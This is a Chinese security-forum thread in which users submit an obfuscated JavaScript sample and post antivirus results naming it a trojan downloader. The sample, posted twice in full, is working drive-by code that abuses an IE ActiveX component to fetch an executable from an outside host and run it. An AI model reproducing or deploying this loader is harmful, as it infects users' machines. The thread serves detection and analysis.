帮忙看看这个脚本有没有问题。[MD5: F81C02]

蓝色牛仔裤

RT，看看～

tracydk

sy不报

Whkroran

过卡7，，上报看看吧。。

promised

var _0xd35cl0=["\x7E\x74\x6D\x70","\x2E\x65\x78\x65","\x68\x74\x74\x70\x3A","\x2F\x2F","\x63\x63\x2E\x77\x7A\x78\x71\x79\x2E\x63\x6F\x6D\x2F\x77\x6D\x2F\x6D\x6D\x2E\x65\x78\x65","\x6F\x62\x6A\x65\x63\x74","\x63\x6C\x61\x73\x73\x69\x64","\x63\x6C\x73\x69\x64\x3A\x42\x44\x39\x36\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36","\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D","\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x64\x6F\x63\x75\x6D\x65\x6E\x74","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58","\x4D","\x4C","\x48","\x54","\x50","","\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74","\x74\x79\x70\x65","\x47\x45\x54","\x4F\x70\x65\x6E","\x53\x65\x6E\x64","\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72","\x42\x75\x69\x6C\x64\x50\x61\x74\x68","\x6F\x70\x65\x6E","\x57\x72\x69\x74\x65","\x53\x61\x76\x65\x54\x6F\x46\x69\x6C\x65","\x43\x6C\x6F\x73\x65","\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E","\x5C\x73\x79\x73\x74\x65\x6D\x33\x32","\x63\x6D\x64\x2E\x65\x78\x65","\x20\x2F\x63\x20","\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65"];function _0xd35cl1(_0xd35cl2){var _0xd35cl3=Math.random()*_0xd35cl2;return _0xd35cl0[0x0]+Math.round(_0xd35cl3)+_0xd35cl0[0x1];} ;try{var _0xd35cl4=_0xd35cl0[0x2];mm2=_0xd35cl0[0x3];mm3=_0xd35cl0[0x4];dl=_0xd35cl4+mm2+mm3;a1=_0xd35cl0[0x5];a2=_0xd35cl0[0x6];a3=_0xd35cl0[0x7];a4=_0xd35cl0[0x8];fuck=_0xd35cl0[0x9];df=(window[_0xd35cl0[0xb]][_0xd35cl0[0xa]](a1));df[_0xd35cl0[0xc]](a2,a3);var _0xd35cl5=df[_0xd35cl0[0x14]](_0xd35cl0[0xd]+_0xd35cl0[0xe]+_0xd35cl0[0xf]+_0xd35cl0[0x10]+_0xd35cl0[0x11]+_0xd35cl0[0x11]+_0xd35cl0[0x12],_0xd35cl0[0x13]);var _0xd35cl6=df[_0xd35cl0[0x14]](a4,_0xd35cl0[0x13]);_0xd35cl6[_0xd35cl0[0x15]]=0x1;_0xd35cl5[_0xd35cl0[0x17]](_0xd35cl0[0x16],dl,0x0);_0xd35cl5[_0xd35cl0[0x18]]();fname1=_0xd35cl1(0x2710);var _0xd35cl7=df[_0xd35cl0[0x14]](fuck,_0xd35cl0[0x13]);var _0xd35cl8=_0xd35cl7[_0xd35cl0[0x19]](0x0);fname1=_0xd35cl7[_0xd35cl0[0x1a]](_0xd35cl8,fname1);_0xd35cl6[_0xd35cl0[0x1b]]();_0xd35cl6[_0xd35cl0[0x1c]](_0xd35cl5.responseBody);_0xd35cl6[_0xd35cl0[0x1d]](fname1,0x2);_0xd35cl6[_0xd35cl0[0x1e]]();var _0xd35cl9=df[_0xd35cl0[0x14]](_0xd35cl0[0x1f],_0xd35cl0[0x13]);exp1=_0xd35cl7[_0xd35cl0[0x1a]](_0xd35cl8+_0xd35cl0[0x20],_0xd35cl0[0x21]);_0xd35cl9[_0xd35cl0[0x23]](exp1,_0xd35cl0[0x22]+fname1,_0xd35cl0[0x13],open,0x0);} catch(i){i=0x1;}

1688388728

不报

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\My.rar'
C:\Documents and Settings\Administrator\My Documents\
  My.rar
    [0] Archive type: RAR
    --> 2[1].js
        [DETECTION] Contains signature of the Java script virus JS/Dldr.Hassle
        [WARNING]   Infected files in archives cannot be repaired!
        [INFO]      The file was deleted!

yashoo

咖啡飘过

remind_me

这是什么意思？



var _0xd35cl0=["\x7E\x74\x6D\x70","\x2E\x65\x78\x65","\x68\x74\x74\x70\x3A","\x2F\x2F","\x63\x63\x2E\x77\x7A\x78\x71\x79\x2E\x63\x6F\x6D\x2F\x77\x6D\x2F\x6D\x6D\x2E\x65\x78\x65","\x6F\x62\x6A\x65\x63\x74","\x63\x6C\x61\x73\x73\x69\x64","\x63\x6C\x73\x69\x64\x3A\x42\x44\x39\x36\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36","\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D","\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x64\x6F\x63\x75\x6D\x65\x6E\x74","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58","\x4D","\x4C","\x48","\x54","\x50","","\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74","\x74\x79\x70\x65","\x47\x45\x54","\x4F\x70\x65\x6E","\x53\x65\x6E\x64","\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72","\x42\x75\x69\x6C\x64\x50\x61\x74\x68","\x6F\x70\x65\x6E","\x57\x72\x69\x74\x65","\x53\x61\x76\x65\x54\x6F\x46\x69\x6C\x65","\x43\x6C\x6F\x73\x65","\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E","\x5C\x73\x79\x73\x74\x65\x6D\x33\x32","\x63\x6D\x64\x2E\x65\x78\x65","\x20\x2F\x63\x20","\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65"];function _0xd35cl1(_0xd35cl2){var _0xd35cl3=Math.random()*_0xd35cl2;return _0xd35cl0[0x0]+Math.round(_0xd35cl3)+_0xd35cl0[0x1];} ;try{var _0xd35cl4=_0xd35cl0[0x2];mm2=_0xd35cl0[0x3];mm3=_0xd35cl0[0x4];dl=_0xd35cl4+mm2+mm3;a1=_0xd35cl0[0x5];a2=_0xd35cl0[0x6];a3=_0xd35cl0[0x7];a4=_0xd35cl0[0x8];fuck=_0xd35cl0[0x9];df=(window[_0xd35cl0[0xb]][_0xd35cl0[0xa]](a1));df[_0xd35cl0[0xc]](a2,a3);var _0xd35cl5=df[_0xd35cl0[0x14]](_0xd35cl0[0xd]+_0xd35cl0[0xe]+_0xd35cl0[0xf]+_0xd35cl0[0x10]+_0xd35cl0[0x11]+_0xd35cl0[0x11]+_0xd35cl0[0x12],_0xd35cl0[0x13]);var _0xd35cl6=df[_0xd35cl0[0x14]](a4,_0xd35cl0[0x13]);_0xd35cl6[_0xd35cl0[0x15]]=0x1;_0xd35cl5[_0xd35cl0[0x17]](_0xd35cl0[0x16],dl,0x0);_0xd35cl5[_0xd35cl0[0x18]]();fname1=_0xd35cl1(0x2710);var _0xd35cl7=df[_0xd35cl0[0x14]](fuck,_0xd35cl0[0x13]);var _0xd35cl8=_0xd35cl7[_0xd35cl0[0x19]](0x0);fname1=_0xd35cl7[_0xd35cl0[0x1a]](_0xd35cl8,fname1);_0xd35cl6[_0xd35cl0[0x1b]]();_0xd35cl6[_0xd35cl0[0x1c]](_0xd35cl5.responseBody);_0xd35cl6[_0xd35cl0[0x1d]](fname1,0x2);_0xd35cl6[_0xd35cl0[0x1e]]();var _0xd35cl9=df[_0xd35cl0[0x14]](_0xd35cl0[0x1f],_0xd35cl0[0x13]);exp1=_0xd35cl7[_0xd35cl0[0x1a]](_0xd35cl8+_0xd35cl0[0x20],_0xd35cl0[0x21]);_0xd35cl9[_0xd35cl0[0x23]](exp1,_0xd35cl0[0x22]+fname1,_0xd35cl0[0x13],open,0x0);} catch(i){i=0x1;}

promised

不会解密

taihuxian

Virus: Trojan-Downloader.JS.Psyme.it

Virus found while downloading Web content.

Address: bbs.kafan.cn